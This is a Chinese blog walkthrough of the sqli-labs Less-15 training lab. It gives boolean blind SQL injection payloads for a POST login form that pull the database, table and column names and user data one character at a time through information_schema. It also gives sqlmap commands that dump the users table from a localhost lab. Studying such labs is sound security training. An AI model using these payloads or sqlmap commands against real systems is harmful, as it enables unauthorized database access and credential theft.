当前位置: 首页 > web >正文

sqli-labs:Less-15关卡详细解析

1. 思路🚀

本关的SQL语句为:

@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
  • 注入类型:字符串型(单引号包裹)、POST请求
  • 提示:参数需以'闭合

php输出语句的部分代码:

if($row)
{//echo '<font color= "#0000ff">';	echo "<br>";echo '<font color= "#FFFF00" font size = 4>';//echo " You Have successfully logged in\n\n " ;echo '<font size="3" color="#0000ff">';	echo "<br>";//echo 'Your Login name:'. $row['username'];echo "<br>";//echo 'Your Password:' .$row['password'];echo "<br>";echo "</font>";echo "<br>";echo "<br>";echo '<img src="../images/flag.jpg"  />';	echo "</font>";}

同样没有回显语句,根据本关卡标题选择布尔盲注,那么就顺便学习一下:

  • 布尔盲注✅
  • 时间盲注
  • 报错盲注

在这里插入图片描述


2. 手工注入步骤🎯

我的地址栏是:http://localhost:8081/Less-15/,只需要将下面的urlpost data放入对应位置,粘贴即可。

2.1. 判断能否注入⚡

uname=1' or 1=1 #
&passwd=admin&submit=Submit

在这里插入图片描述

uname=1' or 1=2 #
&passwd=admin&submit=Submit

在这里插入图片描述

我们会发现是通过是否登录成功的标语判断是否能注入的,之前用的都是order by n,但是在本关卡不好使。而且用的是or连接两个逻辑判断,前一个必定为假,因为没有用户的账号名为1的,所以能否登录成功就取决于后面一条逻辑的判断。


2.2. 获取数据库⚡

只有下面的sql语句才会显示登录成功的标语,其余都不能。

# 先判断长度
uname=1' or length(database())=8 #
# 再排查名字
uname=1' or substr((database()),1,1)='s' # 
uname=1' or substr((database()),2,1)='e' # 
uname=1' or substr((database()),3,1)='c' #
uname=1' or substr((database()),4,1)='u' # 
uname=1' or substr((database()),5,1)='r' #
uname=1' or substr((database()),6,1)='i' #
uname=1' or substr((database()),7,1)='t' # 
uname=1' or substr((database()),8,1)='y' #  &passwd=admin&submit=Submit

在这里插入图片描述


2.3. 获取表名⚡

# 先判断长度
uname=1' or (select length(table_name) from information_schema.tables where table_schema=database() limit 3,1)=5 # 
# 再排查名字
uname=1' or substr((select table_name from information_schema.tables where table_schema=database() limit 3,1), 1, 1)='u' # 
uname=1' or substr((select table_name from information_schema.tables where table_schema=database() limit 3,1), 2, 1)='s' # 
uname=1' or substr((select table_name from information_schema.tables where table_schema=database() limit 3,1), 3, 1)='e' # 
uname=1' or substr((select table_name from information_schema.tables where table_schema=database() limit 3,1), 4, 1)='r' # 
uname=1' or substr((select table_name from information_schema.tables where table_schema=database() limit 3,1), 5, 1)='s' # &passwd=admin&submit=Submit

在这里插入图片描述


2.4. 获取字段⚡

下面是获取username字段,类比一下获取password字段。

# 先判断长度
uname=1' or (select length(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users' limit 2,1)=8 # 
# 再排查名字
uname=1' or substr((select column_name from information_schema.columns where table_schema = 'security' and table_name = 'users' limit 2,1), 1, 1)='u' # 
uname=1' or substr((select column_name from information_schema.columns where table_schema = 'security' and table_name = 'users' limit 2,1), 2, 1)='s' # 
uname=1' or substr((select column_name from information_schema.columns where table_schema = 'security' and table_name = 'users' limit 2,1), 3, 1)='e' # 
uname=1' or substr((select column_name from information_schema.columns where table_schema = 'security' and table_name = 'users' limit 2,1), 4, 1)='r' # 
uname=1' or substr((select column_name from information_schema.columns where table_schema = 'security' and table_name = 'users' limit 2,1), 5, 1)='n' # 
uname=1' or substr((select column_name from information_schema.columns where table_schema = 'security' and table_name = 'users' limit 2,1), 6, 1)='a' # 
uname=1' or substr((select column_name from information_schema.columns where table_schema = 'security' and table_name = 'users' limit 2,1), 7, 1)='m' # 
uname=1' or substr((select column_name from information_schema.columns where table_schema = 'security' and table_name = 'users' limit 2,1), 8, 1)='e' # &passwd=admin&submit=Submit

在这里插入图片描述


2.5. 获取数据⚡

同理可以获取第一个用户的密码,第二个用户的账号密码。

uname=1' or substr((select username from users limit 0,1), 1, 1)='D' # 
uname=1' or substr((select username from users limit 0,1), 2, 1)='u' #  
uname=1' or substr((select username from users limit 0,1), 3, 1)='m' # 
uname=1' or substr((select username from users limit 0,1), 4, 1)='b' # &passwd=admin&submit=Submit

在这里插入图片描述


2.6. 参数汇总表⭐

参数作用示例
'闭合符号id=1'
#注释符#
length获取长度length(database)
substr截取子串substr(str,x,1)
information_schema系统数据库from information_schema.tables
table_schema数据库名称table_schema='security'
table_name数据表名称table_name='users'
column_name字段名称group_concat(column_name)

3. SQLMap工具测试🎯

url地址换成自己的,比如:http://localhost:8081/Less-15/,由于本关卡为post请求,需要加参数指明请求格式,
--data="uname=1&passwd=123456"unamepasswd的值随意,具体如下:⭐

# 检测注入点
python sqlmap.py -u "http://localhost:8081/Less-15/" --data="uname=1&passwd=123456" --batch# 爆数据库
python sqlmap.py -u "url" --data="uname=1&passwd=123456" --dbs --batch# 爆表名
python sqlmap.py -u "url" --data="uname=1&passwd=123456" -D security --tables --batch# 爆列名
python sqlmap.py -u "url" --data="uname=1&passwd=123456" -D security -T users --columns --batch# 爆数据
python sqlmap.py -u "url" --data="uname=1&passwd=123456" -D security -T users -C id,username,password --dump --batch

命令1截图:
在这里插入图片描述

命令5截图:
在这里插入图片描述

SQLMap参数表⭐

参数功能
--data指定post请求
--batch非交互模式
--dbs枚举数据库
-D指定数据库
-T指定表
-C指定列
--dump导出数据

4. 总结🏁

关于post请求,本关卡与关卡11的解法相仿,但关卡11的解析更为详细,欢迎大家移步"sqli-labs:Less-11关卡详细解析"
https://blog.csdn.net/qq_62000508/article/details/149805916?spm=1011.2124.3001.6209

有关报错盲注的解析,关卡8最为详细,欢迎移步"sqli-labs:Less-8关卡详细解析"
https://blog.csdn.net/qq_62000508/article/details/149797430?spm=1011.2124.3001.6209


声明:本文仅用于安全学习,严禁非法测试! ❗❗❗

http://www.xdnf.cn/news/16866.html

相关文章:

  • 14day-ai入门-人工智能基础学习-OpenCV-图像预处理4
  • 链特异性文库是什么?为什么它在转录组测序中越来越重要?
  • Vue多请求并行处理实战指南
  • JSX语法
  • Cesium 快速入门(四)相机控制完全指南
  • 项目中如何追踪项目进度,避免项目延期如何追踪项目进度
  • Java客户端连接Redis
  • Ⅹ—6.计算机二级综合题19---22套
  • 大数据平台数仓数湖hive之拉链表高效实现
  • 学习日志23 python
  • Spring MVC体系结构和处理请求控制器
  • 【linux驱动开发】Vscode + Remote SSH + clangd + bear=内核源码阅读环境搭建
  • 三维开放场景图助力机器人自主导航!Point2Graph:点云驱动的三维开放词汇场景图端到端机器人导航
  • 蓝牙设备配对:从机发现主机全过程
  • 《质光相济:Three.js中3D视觉的底层交互逻辑》
  • 嵌入式仿真教学的革新力量:深圳航天科技创新研究院引领高效学习新时代
  • 学习笔记《区块链技术与应用》第三天 网络 难度
  • 【01】大恒相机SDK C++开发 —— 初始化相机,采集第一帧图像、回调采集、关闭相机
  • TGD第九篇:三维应用——视频边缘检测
  • Excel 知识点汇总
  • 爱普生002墨水与004墨水基本参数及支持机型
  • 行业热点丨仿真历史数据难以使用?如何利用几何深度学习破局,加速汽车工程创新
  • Java 17 新特性解析与代码示例
  • Linux的库制作与原理
  • Haproxy调度算法 - 静态算法介绍与使用
  • 为什么Android主线程与java主线程不同,不会退出?
  • 全栈:怎么把IDEA和Maven集成一下?
  • 前端框架Vue3(四)——组件通信及其他API
  • 分布内侧内嗅皮层的层Ⅱ或层Ⅲ的网格细胞(grid cells)对NLP中的深层语义分析的积极影响和启示
  • 一万字讲解Java中的IO流——包含底层原理